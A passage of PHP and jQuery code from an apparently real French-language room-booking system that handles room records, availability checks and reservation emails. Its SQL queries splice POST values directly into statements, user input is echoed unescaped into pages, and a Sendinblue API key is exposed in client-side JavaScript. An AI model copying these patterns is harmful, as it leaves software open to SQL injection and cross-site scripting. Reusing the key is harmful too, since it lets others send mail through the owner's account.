Local', text:'Le Local <?php echo $nom_local;?> a deja été enregistré ! Informations non enregistrées !', class_name:'color danger', time:'15000'}); </script> <?php } else { $bd->exec("INSERT INTO local VALUE(null,'".$nom_local."','".$capacite."','".$prix_local."','".$type_local."','".$statut."',NOW(),'".$save_by."') ");?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({ title:'SIS-Booking | Nouveau Local', text:'Le Local denommé <?php echo $nom_local; ?> vient d\'être enregistré !', class_name:'color success', time:'15000'}); document.getElementById("form_newloc").reset(); </script><?php } $qst=$bd->query("SELECT * FROM local ORDER BY nom_local"); ?> <table id="table1" class="table table-striped table-hover table-condensed table-fw-widget"> <thead> <tr> <th> </th> <th> Nom local </th> <th> Capacité </th> <th> Prix </th> <th> Type </th> <th> Statut </th> <th></th> </tr> </thead> <tbody> <?php $i=0; while($rep=$qst->fetch()) { $i++; if($rep['statut']=="en-serv"){$dispo="checked=''";}else{$dispo="";} ?> <tr> <td> <?php echo $i;?> </td> <td> <?php echo $rep['nom_local'];?> </td> <td> <?php echo $rep['capacite'];?> </td> <td> <?php echo number_format($rep['prix_local'],"2","."," ");?> $</td> <td> <?php echo $rep['type_local'];?></td> <td> <div class="switch-button switch-button-lg"> <input type="checkbox" <?php echo $dispo; ?> class="statut" name="statut_l<?php echo $rep['code_local']; ?>" id="statut_l<?php echo $rep['code_local']; ?>"><span> <label for="statut_l<?php echo $rep['code_local']; ?>"></label></span> </div> </td> <td class="text-right"> <button type="button" class="btn btn-primary edit_lcl" id="edit_lcl<?php echo $rep['code_local']; ?>" style="border-radius:10px;"><i class="mdi mdi-edit"></i></button </td> </tr><?php } ?> </tbody> <tfoot> <tr> <th colspan=5> Nombre total </th> <th> <?php echo $qst->rowCount(); ?> </th> </tr> </tfoot> </table> <script type="text/javascript"> $(".statut_l").click(function(e){ var compteur=this.id, code_local = compteur, dispo="hors-serv", type="update_dispo_local"; if($("#"+compteur).prop("checked") == true ){ dispo = "en-serv"; } $.ajax({ url: 'fonction/save.php', type: 'POST', data: {dispo:dispo,code_local:code_local,type:type}, beforeSend:function(){ $('#notification-rep').html('<center><img src="images/loaders/loader25.gif" alt="Patienter" width="70%" height="10px"></center>'); }, success:function(data){ $('#notification-rep').html(data); } }); }); $(".edit_lcl").click(function(e){ var compteur=this.id, code_local = compteur, type="charge_local_for_edit"; $.ajax({ url: 'fonction/save.php', type: 'POST', data: {code_local:code_local,type:type}, beforeSend:function(){ $('#notification-rep').html('<center><img src="images/loaders/loader25.gif" alt="Patienter" width="70%" height="10px"></center>'); }, success:function(data){ $('#notification-rep').html(data); } }); }); </script><?php } else if($type=="charge_local_for_edit") { $code_local = preg_replace("#edit_lcl#","",$_POST['code_local']); $qst=$bd->query("SELECT * FROM local WHERE code_local = '".$code_local."' "); $rep=$qst->fetch(); $typ=$rep['type_local']."_"; ?> <script type="text/javascript"> $("#edit_loc").removeClass("hidden"); $("#new_loc").addClass("hidden"); var x = "<?php echo $typ;?>"; $("#"+x).click(); $("#nom_local_").val("<?php echo $rep['nom_local'];?>"); $("#code_local").val("<?php echo $rep['code_local'];?>"); $("#capacite_").val("<?php echo $rep['capacite'];?>"); $("#prix_local_").val("<?php echo $rep['prix_local'];?>"); $("#type_local_").val("<?php echo $rep['type_local'];?>"); </script> <?php } if($type=="save_updateloc") { $code_local=addslashes($_POST['code_local']); $nom_local=addslashes($_POST['nom_local']); $capacite=addslashes($_POST['capacite']); $prix_local=addslashes($_POST['prix_local']); $type_local=addslashes(str_replace("_","",$_POST['type_local'])); $bd->exec("UPDATE local SET nom_local = '".$nom_local."', capacite = '".$capacite."', prix_local = '".$prix_local."', type_local = '".$type_local."' WHERE code_local = ".$code_local." ");?> <script type="text/javascript"> $("#edit_loc").addClass("hidden"); $("#new_loc").removeClass("hidden"); $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({ title:'SIS-Booking | LOCAL ', text:'Le Loca denommé <?php echo $nom_local; ?> vient d\'être enregistré !', class_name:'color success', time:'15000'}); document.getElementById("form_updateloc").reset(); </script><?php $qst=$bd->query("SELECT * FROM local ORDER BY nom_local"); ?> <table id="table1" class="table table-striped table-hover table-condensed table-fw-widget"> <thead> <tr> <th> </th> <th> Nom local </th> <th> Capacité </th> <th> Prix </th> <th> Type </th> <th> Statut </th> <th></th> </tr> </thead> <tbody> <?php $i=0; while($rep=$qst->fetch()) { $i++; if($rep['statut']=="en-serv"){$dispo="checked=''";}else{$dispo="";} ?> <tr> <td> <?php echo $i;?> </td> <td> <?php echo $rep['nom_local'];?> </td> <td> <?php echo $rep['capacite'];?> </td> <td> <?php echo number_format($rep['prix_local'],"2","."," ");?> $</td> <td> <?php echo $rep['type_local'];?></td> <td> <div class="switch-button switch-button-lg"> <input type="checkbox" <?php echo $dispo; ?> class="statut" name="statut_l<?php echo $rep['code_local']; ?>" id="statut_l<?php echo $rep['code_local']; ?>"><span> <label for="statut_l<?php echo $rep['code_local']; ?>"></label></span> </div> </td> <td class="text-right"> <button type="button" class="btn btn-primary edit_lcl" id="edit_lcl<?php echo $rep['code_local']; ?>" style="border-radius:10px;"><i class="mdi mdi-edit"></i></button </td> </tr><?php } ?> </tbody> <tfoot> <tr> <th colspan=5> Nombre total </th> <th> <?php echo $qst->rowCount(); ?> </th> </tr> </tfoot> </table> <script type="text/javascript"> $(".statut_l").click(function(e){ var compteur=this.id, code_local = compteur, dispo="hors-serv", type="update_dispo_local"; if($("#"+compteur).prop("checked") == true ){ dispo = "en-serv"; } $.ajax({ url: 'fonction/save.php', type: 'POST', data: {dispo:dispo,code_local:code_local,type:type}, beforeSend:function(){ $('#notification-rep').html('<center><img src="images/loaders/loader25.gif" alt="Patienter" width="70%" height="10px"></center>'); }, success:function(data){ $('#notification-rep').html(data); } }); }); $(".edit_lcl").click(function(e){ var compteur=this.id, code_local = compteur, type="charge_local_for_edit"; $.ajax({ url: 'fonction/save.php', type: 'POST', data: {code_local:code_local,type:type}, beforeSend:function(){ $('#notification-rep').html('<center><img src="images/loaders/loader25.gif" alt="Patienter" width="70%" height="10px"></center>'); }, success:function(data){ $('#notification-rep').html(data); } }); }); </script><?php } else if($type=="update_dispo_local") { $code_local = preg_replace("#statut_l#","",$_POST['code_local']); $statut=addslashes($_POST['dispo']); $bd->exec("UPDATE local SET statut = '".$statut."' WHERE code_local = '".$code_local."' "); ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | RESERVATION",text:"Les modifications apportées sur le local viennent d'être eneregistées avec succes ! Merci ",class_name:"color success",time:"10000"}); </script> <?php } else if($type=="check_avalibility") { $source = addslashes($_POST['source']); $weekend = addslashes($_POST['weekend']); $code_local = addslashes($_POST['code_local']); $date_from = addslashes($_POST['date_from']); $date_to = addslashes($_POST['date_to']); $selected_rooms = addslashes($_POST['selected_rooms']); $hour_from = addslashes($_POST['hour_from'].":00:00"); $hour_to = addslashes($_POST['hour_to'].":00:00"); $rsrv=$bd->query("SELECT *, DATE_FORMAT(date_from,'%d-%m-%Y') date_from,DATE_FORMAT(date_to,'%d-%m-%Y') date_to FROM booking B INNER JOIN local L ON B.code_local = L.code_local WHERE B.code_local = ".$code_local." AND date_from BETWEEN '".$date_from."' AND '".$date_to."' AND hour_from BETWEEN '".$hour_from."' AND '".$hour_to."' AND statut_reservation = 'VALIDEE' OR B.code_local = ".$code_local." AND date_to BETWEEN '".$date_from."' AND '".$date_to."' AND hour_to BETWEEN '".$hour_from."' AND '".$hour_to."' AND statut_reservation = 'VALIDEE' OR B.code_local = ".$code_local." AND '".$date_from."' BETWEEN date_from AND date_to AND '".$hour_from."' BETWEEN hour_from AND hour_to AND statut_reservation = 'VALIDEE' OR B.code_local = ".$code_local." AND '".$date_to."' BETWEEN date_from AND date_to AND '".$hour_to."' BETWEEN hour_from AND hour_to AND statut_reservation = 'VALIDEE'"); if($rsrv->rowCount()<1){ $loc=$bd->query("SELECT * FROM local L WHERE L.code_local = ".$code_local." "); $r=$loc->fetch(); $duree = ((strtotime($date_to) - strtotime($date_from))/86400)+1; $jr_ouvrable = $samedi = $dimanche = 0; while($date_from <= $date_to){ $day = date('w', strtotime($date_from)); if($day == 0){ $dimanche=$dimanche + 1; }else if($day== 6){ $samedi=$samedi + 1; }else{ $jr_ouvrable=$jr_ouvrable + 1; } $date_from = date('Y-m-d', strtotime( $date_from . " +1 days")); } if($weekend=="oui"){ $jr_ouvrable = $jr_ouvrable + $samedi + $dimanche;} if($jr_ouvrable>0 || $weekend == "oui"){ $exist='no'; $lists=explode(",",$selected_rooms); foreach($lists as &$value){if($value==$code_local){$exist='yes';} } if($exist=="no"){ $selected_rooms = $selected_rooms.",".$code_local.","; $selected_rooms = str_replace(',,',',',$selected_rooms); echo "<span class='btn btn-success'>Réponse du système</span> Systhese de votre demande : <table class='table table-bordered table-condensed' border='1px'><tr><th>Nbre jours reservés</th><th>Jours Non-ouvrable</th><th>Temps</th><th>Prix/jour</th><th>Coût reseravation</th></tr> <tr><td class='number'>".$jr_ouvrable." jour<small>(s)</small></td><td> ".$samedi." samedi<small>(s)</small> & ".$samedi." dimanche<small>(s)</small></td><td>".$hour_from." à ".$hour_to."</td><td class='number'>".$r['prix_local']." $</td><td class='number'>".$r['prix_local']*$jr_ouvrable." $</td> </table>" ;?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | RESERVATION",text:"Le local est dispo, vous pouvez poursuivre le processus de réservation en mettant vos informations et surtout en mettant une petite description sur votre activité ! Merci ",class_name:"color success",time:"10000"}); $(".info_perso").removeClass('hidden'); </script> <?php if($r['type_local']=='SIMULATION'){ ?> <script type="text/javascript"> $(".sim").removeClass('btn-primary'); $("#OUI").addClass('btn-primary'); $("#nbre_jr").val('0'); $("#salle_simulation").val('<?php echo $code_local;?>'); </script> <?php } // salle selectionées $lists=explode(",",$selected_rooms); $salle_select=""; foreach($lists as &$value){ if($value==''){ $value=0;} else { $lis=$bd->query("SELECT * FROM local WHERE code_local = ".$value." "); $l=$lis->fetch(); $salle_select = $salle_select."<span type='button' class='btn btn-default' id='li_loc_".$l['code_local']."'>".$l['nom_local']." <a class='btn btn-danger fa fa-close loc_' id='loc_".$l['code_local']."'> x </a></span> "; } } $lien="fonction/save.php"; if($source=="out"){ $lien="../fonction/save.php";} ?> <script type="text/javascript"> $(".selected_room").html("<?php echo $salle_select; ?>"); $("#selected_rooms").val("<?php echo $selected_rooms; ?>"); $(".loc_").click(function(e){ var compteur=this.id, rep = compteur, selected_rooms = $('#selected_rooms').val(), lien = "<?php echo $lien; ?>", source = "<?php echo $source; ?>", type ="uncharge_loc"; $('#li_'+rep).addClass("hidden");0 $.ajax({ url: lien, type: 'POST', data: {selected_rooms:selected_rooms,local:rep,source:source,type:type}, success:function(data){ $('.selected_room').html(data); $('#notification-rep').html(''); } }); }); $("#week_end").removeClass('btn-warning'); </script> <?php } else { ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | RESERVATION",text:"Le local a déjà été selectioné ! Merci ",class_name:"color warning",time:"10000"}); $("#week_end").removeClass('btn-warning');</script> <?php } } else{ echo "<span class='btn btn-warning'>Réponse du système</span> Désolé la période demandée tombe malheureusement dans les jours non-ouvrables pour nous. Etes-vous sûr de vouloir réserver le Weekend ? Marquez votre response juste au-dessus de ce message, puis reselectionez le local. Merci"; ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | RESERVATION",text:"Désolé la période demandée tombe malheureusement dans les jours non-ouvrables pour nous. Si vous voullez réserver le Weekend, marquez votre response dans le formulaire puis reselectionez le local. Merci ",class_name:"color warning",time:"10000"}); </script> <?php if($selected_rooms == "" || $selected_rooms == ","){ ?><script type="text/javascript">$(".info_perso").addClass('hidden'); $("#code_local").val(''); $("#week_end").addClass('btn-warning');</script><?php } } } else { $indispo =""; while($ocp=$rsrv->fetch()){ $date_du = $ocp['date_from']; $date_au = $ocp['date_to'];$i = $ocp['code_book']; $indispo = $indispo."<tr><td>".$i."</td><td>".$date_du."</td><td>".$date_au."</td><td>".$ocp['hour_from']."</td><td>".$ocp['hour_to']."</td></tr>"; } echo "<span class='btn btn-warning'>Réponse du système</span> Le local demandé n'est pas disponible pour la periode choisie. En voici le detail <table class='table table-bordered table-condensed' border='1px'><tr><th>N°</th><th>Date debut</th><th>Date fin</th><th>Heure debut</th><th>Heure fin</th></tr>".$indispo."</table>"; ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | RESERVATION",text:"Le local n'est pas disponible durant le moment que vous demandez ! Voici le detail <table class='table table-bordered table-condensed' border='1px'><tr><th>N°</th><th>Date debut</th><th>Date fin</th><th>Heure debut</th><th>Heure fin</th></tr><?php echo $indispo; ?> </table>",class_name:"color danger",time:"10000"}); </script> <?php if($selected_rooms == "" || $selected_rooms == ","){ ?><script type="text/javascript">$(".info_perso").addClass('hidden'); $("#code_local").val(''); $("#week_end").addClass('btn-warning');</script><?php } } } else if($type=="uncharge_loc") { $code_local = str_replace("loc_",",",$_POST['local']).","; $selected_rooms = addslashes($_POST['selected_rooms']); $source = addslashes($_POST['source']); $selected_rooms = str_replace($code_local,',',$selected_rooms); $lien="fonction/save.php"; if($source=="out"){ $lien="../fonction/save.php";} // salle selectionées $lists=explode(",",$selected_rooms); $salle_select=""; foreach($lists as &$value){ if($value==''){ $value=0;} else { $lis=$bd->query("SELECT * FROM local WHERE code_local = ".$value." "); $l=$lis->fetch(); $salle_select = $salle_select."<span type='button' class='btn btn-default' id='li_loc_".$l['code_local']."'>".$l['nom_local']." <a class='btn btn-danger fa fa-close loc_' id='loc_".$l['code_local']."'> x </a></span> "; } } ?> <script type="text/javascript">$(".selected_room").html("<?php echo $salle_select; ?>"); $("#selected_rooms").val("<?php echo $selected_rooms; ?>"); $(".loc_").click(function(e){ var compteur=this.id, rep = compteur, selected_rooms = $('#selected_rooms').val(), source = "<?php echo $source; ?>", lien = "<?php echo $lien; ?>", type ="uncharge_loc"; $('#li_'+rep).addClass("hidden"); $.ajax({ url: lien, type: 'POST', data: {selected_rooms:selected_rooms,local:rep,source:source,type:type}, success:function(data){ $('.selected_room').html(data); $('#notification-rep').html(''); } }); }); </script> <?php } else if($type=="charge_book_edit") { $id_book = addslashes(str_replace("edit_book","",$_POST['id_book'])); $rsrv=$bd->query("SELECT * FROM booking B WHERE B.id_book = ".$id_book." "); $r=$rsrv->fetch(); $id_book = $r['id_book']; $date_from = $r['date_from']; $date_to = $r['date_to']; $hour_from = $r['hour_from']; $hour_to = $r['hour_to']; $simulation = $r['simulation']; $nom_booker = $r['nom_booker']; $mail_booker = $r['mail_booker']; $description = str_replace("\r\n","\\r",$r['description']); $code_local = $r['code_local']; ?> <script type="text/javascript"> $("#code_local").val("<?php echo $code_local; ?>"); $("#date_from").val("<?php echo $date_from; ?>"); $("#date_to").val("<?php echo $date_to; ?>"); $("#hour_from").val("<?php echo str_replace(':00:00','',$hour_from); ?>");$("#hour_to").val("<?php echo str_replace(':00:00','',$hour_to); ?>");$("#nom_booker").val("<?php echo $nom_booker; ?>");$("#mail_booker").val("<?php echo $mail_booker; ?>");$("#description").val("<?php echo $description; ?>");$("#id_book").val("<?php echo $id_book; ?>"); $("#simulation").val("<?php echo $simulation; ?>"); $("#<?php echo $simulation;?>").click(); </script> <?php } else if($type=="save_booking") { $code_local = addslashes($_POST['code_local']); $selected_rooms = addslashes($_POST['selected_rooms']); $weekend = addslashes($_POST['weekend']); $date_from_ = $date_from = addslashes($_POST['date_from']); $date_to = addslashes($_POST['date_to']); $hour_from = addslashes($_POST['hour_from'].":00:00"); $hour_to = addslashes($_POST['hour_to'].":00:00");$simulation = addslashes($_POST['simulation']); $nbre_jr = 0; $salle_simulation = 0; $nom_reservant = addslashes($_POST['nom_reservant']); $phone_reservant = addslashes($_POST['phone_reservant']); $mail_reservant = addslashes($_POST['mail_reservant']); $description = addslashes(str_replace('"',"''",$_POST['description'])); $source = addslashes($_POST['source']); $check = "ok"; /*Prepare liste*/$lists=explode(",",$selected_rooms); $salle_select=""; $prix_locaux=""; $cout_locaux=0; $loc_concerne = 0; foreach($lists as &$value){ if($value==''){ $value=0;} else { $rsrv=$bd->query("SELECT *, DATE_FORMAT(date_from,'%d-%m-%Y') date_from,DATE_FORMAT(date_to,'%d-%m-%Y') date_to FROM booking B INNER JOIN local L ON B.code_local = L.code_local WHERE B.code_local = ".$value." AND date_from BETWEEN '".$date_from."' AND '".$date_to."' AND hour_from BETWEEN '".$hour_from."' AND '".$hour_to."' AND statut_reservation = 'VALIDEE' OR B.code_local = ".$value." AND date_to BETWEEN '".$date_from."' AND '".$date_to."' AND hour_to BETWEEN '".$hour_from."' AND '".$hour_to."' AND statut_reservation = 'VALIDEE' OR B.code_local = ".$value." AND '".$date_from."' BETWEEN date_from AND date_to AND '".$hour_from."' BETWEEN hour_from AND hour_to AND statut_reservation = 'VALIDEE' OR B.code_local = ".$value." AND '".$date_to."' BETWEEN date_from AND date_to AND '".$hour_to."' BETWEEN hour_from AND hour_to AND statut_reservation = 'VALIDEE'"); if($rsrv->rowCount()>0){ $check = "no"; break; $loc_concerne=$value; } } } if($check == "ok"){ $loc=$bd->query("SELECT DATE_FORMAT('".$date_from."','%d-%m-%Y') date_from, DATE_FORMAT('".$date_to."','%d-%m-%Y') date_to "); $r=$loc->fetch(); $duree = ((strtotime($date_to) - strtotime($date_from))/86400)+1; $jr_ouvrable = $samedi = $dimanche = 0; /* Nom Local */ $du = $r['date_from']; $au = $r['date_to']; while($date_from <= $date_to){ $day = date('w', strtotime($date_from)); if($day == 0){ $dimanche=$dimanche + 1; }else if($day== 6){ $samedi=$samedi + 1; }else{ $jr_ouvrable=$jr_ouvrable + 1; } $date_from = date('Y-m-d', strtotime( $date_from . " +1 days")); } if($weekend=="oui"){ $jr_ouvrable = $jr_ouvrable + $samedi + $dimanche;} if($jr_ouvrable>0 || $weekend == "oui"){ if($source="in"){ $booking_id=$bd->query("SELECT MAX(code_book) last FROM booking "); $id=$booking_id->fetch(); $code_book = $id['last'] + 1; // Save booking $lists=explode(",",$selected_rooms); $salle_select=""; $prix_locaux=""; $cout_locaux=0; foreach($lists as &$value){ if($value==''){ $value=0;} else { $lis=$bd->query("SELECT * FROM local WHERE code_local = ".$value." "); $l=$lis->fetch(); $salle_select = $salle_select.$l['nom_local'].", "; $prix_locaux = $prix_locaux.$l['prix_local']." $, "; $cout_locaux = $cout_locaux + $l['prix_local']; $bd->exec("INSERT INTO booking VALUE(null,".$code_book.",NOW(),'".$date_from_."','".$date_to."','".$hour_from."','".$hour_to."','".$simulation."','','','".$nom_reservant."','".$mail_reservant."','".$phone_reservant."','".$description."',".$value.",'VALIDEE','".$nom_reservant."')"); } } $mail_content = "<html><head></head><body><p>Bonjour ".$nom_reservant.",</p>Votre demande de réservation du local '".$salle_select."', du '".$du."' au '".$au."', a été transmise au Centre de Formation continue du Nord-Kivu. Vous serez notifié une fois que celle-ci sera traitée.</p></body></html> Le détail : <table class='table table-bordered table-condensed' border='1px'><tr><th>Local</th><th>Nombre des Jours réservés</th><th>Jours Non-ouvrable</th><th>Temps</th><th>Prix /jour</th><th>Coût reseravation</th></tr> <tr><td>".$salle_select."</td><td class='number'>".$jr_ouvrable." jour<small>(s)</small></td><td> ".$samedi." samedi<small>(s)</small> & ".$samedi." dimanche<small>(s)</small></td><td>".$du." au ".$au."<br>".$hour_from." à ".$hour_to."</td><td class='number'>".$prix_locaux." </td><td class='number'>".$cout_locaux*$jr_ouvrable." $</td> </table> <br> Description : <i>".$description."</i>"; $mail_content2 = "<html><head></head><body><p>Bonjour </p>Nous avons une nouvelle reservation (validée directement). </p></body></html> Le détail sur la réservation : <table class='table table-bordered table-condensed' border='1px'><tr><th>Local</th><td>".$salle_select."</td></tr><tr><th>Nombre des Jours réservés</th><td>".$jr_ouvrable." jour<small>(s)</small> Avec ".$samedi." samedi<small>(s)</small> & ".$dimanche." dimanche<small>(s)</small></td></tr><tr><th>Temps</th><td>".$du." au ".$au."<br>".$hour_from." à ".$hour_to."</td></tr><tr><th>Prix /jour</th><td>".$prix_locaux." </td></tr><tr><th>Cout reservation</th><td>".$cout_locaux*$jr_ouvrable." $</td></tr>"; if($simulation == "OUI"){ $mail_content=$mail_content."<b>Besoin d'une salle de Simulation </b> "; $mail_content2=$mail_content2."<tr><th>Besoin d'une salle de Simulation </th><td>".$simulation."</td></tr>";} $mail_content=$mail_content."<div> <br/>Merci d'avoir choisi le CFNK <br><hr><b> Centre de Formation continue du Nord-Kivu</b><br>+243 970 780 356 <br><a href='https://cfnk.org'>WWW.CFNK.ORG</a></div>"; $mail_content2=$mail_content2." <tr><th>Réservé par </th><td>".$nom_reservant."</td></tr></tr><th>Télephone </th><td>".$phone_reservant."</td></tr><tr><th>Email</th><td>".$mail_reservant."</td></tr><tr><th>Description</th><td>".$description."</td></tr></table><div> <br/>Merci de vous connecter au <a href='https://booking.cfnk.org'>WWW.BOOKING.CFNK.ORG</a> Pour traiter cette demande. </div>"; ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | RESERVATION",text:"Votre réservation a été envoyée à l'équipe de gestion, celle-ci sera traitée et vous recevrez une réponse à la fin du traitement ! Merci de nous avoir choisi",class_name:"color success",time:"10000"}); $(".info_perso").addClass('hidden'); $("#detail").html(''); document.getElementById("form_book").reset(); $(".selected_room").html(""); $(".we").removeClass("btn-primary"); $(".we").addClass("btn-default"); $(".sim").removeClass("btn-primary"); $(".sim").addClass("btn-default"); var mail_booker = "<?php echo $mail_reservant;?>", name_booker = "<?php echo $nom_reservant;?>", objet ="<?php echo 'Nouvelle réservation - '.$salle_select;?>", tel = "<?php echo $phone_reservant;?>", mail_content = "<?php echo $mail_content;?>"; var mail_raf = "raf@cfnk.org", mail_dir = "dir@cfnk.org", mail_sec = "sec@cfnk.org", name_ = "Equipe CFNK", objet2 ="<?php echo 'Réservation -'.$salle_select;?>", mail_content2 = "<?php echo $mail_content2;?>"; fetch("https://api.sendinblue.com/v3/smtp/email", { headers: { 'Accept': 'application/json', 'Content-Type': 'application/json', 'api-key':'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', }, method: "POST", body: JSON.stringify({"sender":{"name":"CFNK - RESERVATION","email":"info@cfnk.org" }, "to":[ { "email":mail_raf, "name":name_ },{ "email":mail_dir, "name":name_ },{ "email":mail_sec, "name":name_ } ], "subject":objet2, "htmlContent":mail_content2 }) }); </script> <?php } else { $booking_id=$bd->query("SELECT MAX(code_book) last FROM booking "); $id=$booking_id->fetch(); $code_book = $id['last'] + 1; // Save booking $lists=explode(",",$selected_rooms); $salle_select=""; $prix_locaux=""; $cout_locaux=0; foreach($lists as &$value){ if($value==''){ $value=0;} else { $lis=$bd->query("SELECT * FROM local WHERE code_local = ".$value." "); $l=$lis->fetch(); $salle_select = $salle_select.$l['nom_local'].", "; $prix_locaux = $prix_locaux.$l['prix_local']." $, "; $cout_locaux = $cout_locaux + $l['prix_local']; $bd->exec("INSERT INTO booking VALUE(null,".$code_book.",NOW(),'".$date_from_."','".$date_to."','".$hour_from."','".$hour_to."','".$simulation."','','','".$nom_reservant."','".$mail_reservant."','".$phone_reservant."','".$description."',".$value.",'ATTENTE-VALIDATION','')"); } } $mail_content = "<html><head></head><body><p>Bonjour ".$nom_reservant.",</p>Votre demande de réservation du local '".$salle_select."', du '".$du."' au '".$au."', a été transmise au Centre de Formation continue du Nord-Kivu. Vous serez notifié une fois que celle-ci sera traitée.</p></body></html> Le détail : <table class='table table-bordered table-condensed' border='1px'><tr><th>Local</th><th>Nombre des Jours réservés</th><th>Jours Non-ouvrable</th><th>Temps</th><th>Prix /jour</th><th>Coût reseravation</th></tr> <tr><td>".$salle_select."</td><td class='number'>".$jr_ouvrable." jour<small>(s)</small></td><td> ".$samedi." samedi<small>(s)</small> & ".$samedi." dimanche<small>(s)</small></td><td>".$du." au ".$au."<br>".$hour_from." à ".$hour_to."</td><td class='number'>".$prix_locaux." </td><td class='number'>".$cout_locaux*$jr_ouvrable." $</td> </table> <br> Description : <i>".$description."</i>"; $mail_content2 = "<html><head></head><body><p>Bonjour </p>Nous avons une nouvelle reservation. </p></body></html> Le détail sur la réservation : <table class='table table-bordered table-condensed' border='1px'><tr><th>Local</th><td>".$salle_select."</td></tr><tr><th>Nombre des Jours réservés</th><td>".$jr_ouvrable." jour<small>(s)</small> Avec ".$samedi." samedi<small>(s)</small> & ".$dimanche." dimanche<small>(s)</small></td></tr><tr><th>Temps</th><td>".$du." au ".$au."<br>".$hour_from." à ".$hour_to."</td></tr><tr><th>Prix /jour</th><td>".$prix_locaux." </td></tr><tr><th>Cout reservation</th><td>".$cout_locaux*$jr_ouvrable." $</td></tr>"; if($simulation == "OUI"){ $mail_content=$mail_content."<b>Besoin d'une salle de Simulation </b> "; $mail_content2=$mail_content2."<tr><th>Besoin d'une salle de Simulation </th><td>".$simulation."</td></tr>";} $mail_content=$mail_content."<div> <br/>Merci d'avoir choisi le CFNK <br><hr><b> Centre de Formation continue du Nord-Kivu</b><br>+243 970 780 356 <br><a href='https://cfnk.org'>WWW.CFNK.ORG</a></div>"; $mail_content2=$mail_content2." <tr><th>Réservé par </th><td>".$nom_reservant."</td></tr></tr><th>Télephone </th><td>".$phone_reservant."</td></tr><tr><th>Email</th><td>".$mail_reservant."</td></tr><tr><th>Description</th><td>".$description."</td></tr></table><div> <br/>Merci de vous connecter au <a href='https://booking.cfnk.org'>WWW.BOOKING.CFNK.ORG</a> Pour traiter cette demande. </div>"; ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | RESERVATION",text:"Votre réservation a été envoyée à l'équipe de gestion, celle-ci sera traitée et vous recevrez une réponse à la fin du traitement ! Merci de nous avoir choisi",class_name:"color success",time:"10000"}); $(".info_perso").addClass('hidden'); $("#detail").html(''); document.getElementById("form_book").reset(); $(".selected_room").html(""); var mail_booker = "<?php echo $mail_reservant;?>", name_booker = "<?php echo $nom_reservant;?>", objet ="<?php echo 'Nouvelle réservation - '.$salle_select;?>", tel = "<?php echo $phone_reservant;?>", mail_content = "<?php echo $mail_content;?>"; var mail_raf = "raf@cfnk.org", mail_dir = "dir@cfnk.org", mail_sec = "sec@cfnk.org", name_ = "Equipe CFNK", objet2 ="<?php echo 'Réservation -'.$salle_select;?>", mail_content2 = "<?php echo $mail_content2;?>"; if(tel !=='CFNK-TEAM'){ fetch("https://api.sendinblue.com/v3/smtp/email", { headers: { 'Accept': 'application/json', 'Content-Type': 'application/json', 'api-key':'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', }, method: "POST", body: JSON.stringify({"sender":{"name":"CFNK Réservation","email":"info@cfnk.org" }, "to":[ { "email":mail_booker, "name":name_booker } ], "subject":objet, "htmlContent":mail_content }) }) } fetch("https://api.sendinblue.com/v3/smtp/email", { headers: { 'Accept': 'application/json', 'Content-Type': 'application/json', 'api-key':'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', }, method: "POST", body: JSON.stringify({"sender":{"name":"CFNK - RESERVATION","email":"info@cfnk.org" }, "to":[ { "email":mail_raf, "name":name_ },{ "email":mail_dir, "name":name_ },{ "email":mail_sec, "name":name_ } ], "subject":objet2, "htmlContent":mail_content2 }) }) </script> <?php } } else{ echo "Désolé la période demandée tombe malheureusement dans les jours non-ouvrables pour nous. Pour votre information nous travaillons du lundi au vendredi. Merci"; ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | RESERVATION",text:"Désolé la période demandée tombe malheureusement dans les jours non-ouvrables pour nous. Si vous voullez réserver le Weekend, marquez votre response dans le formulaire puis reselectionez le local. Merci ",class_name:"color danger",time:"8000"}); $(".info_perso").addClass('hidden'); </script> <?php } } else { $indispo =""; $loct=$bd->query("SELECT *, DATE_FORMAT(B.date_from,'%d-%m-%Y') date_from_,DATE_FORMAT(B.date_to,'%d-%m-%Y') date_to FROM booking B INNER JOIN local L ON B.code_local = L.code_local WHERE B.code_local = ".$loc_concerne." AND date_from BETWEEN '".$date_from."' AND '".$date_to."' AND hour_from BETWEEN '".$hour_from."' AND '".$hour_to."' "); while($ocp=$loct->fetch()){ $date_du = addslashes($ocp['date_from']); $date_au = $ocp['date_to']; $indispo = "<br>♦ ".$indispo." Du ".$date_du." au ".$date_au." & de ".$ocp['hour_from']." à ".$ocp['hour_to']; } echo "<b>Detail sur le moment d'indisponibilité</b>".$indispo; ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | RESERVATION",text:"Le·s local·aux n'est·ne sont pas disponible·s durant le la periode que vous demandez ! Detail <?php echo $indispo; ?> ",class_name:"color danger",time:"8000"}); $(".info_perso").addClass('hidden'); </script> <?php } } else if($type=="update_booking") { $code_local = addslashes($_POST['code_local']); $tabs = addslashes($_POST['tabs']); $id_book = addslashes($_POST['id_book']); $date_from_ = $date_from = addslashes($_POST['date_from']); $date_to = addslashes($_POST['date_to']); $hour_from = addslashes($_POST['hour_from'].":00:00"); $hour_to = addslashes($_POST['hour_to'].":00:00"); $simulation = addslashes($_POST['simulation']); $nbre_jr = 0; $salle_simulation = 0; $nom_booker = addslashes($_POST['nom_booker']); $mail_booker = addslashes($_POST['mail_booker']); $description = addslashes($_POST['description']); $tabs = addslashes($_POST['tabs']); $rsrv=$bd->query("SELECT *, DATE_FORMAT(date_from,'%d-%m-%Y') date_from,DATE_FORMAT(date_to,'%d-%m-%Y') date_to FROM booking B INNER JOIN local L ON B.code_local = L.code_local WHERE B.code_local = ".$code_local." AND date_from BETWEEN '".$date_from."' AND '".$date_to."' AND hour_from BETWEEN 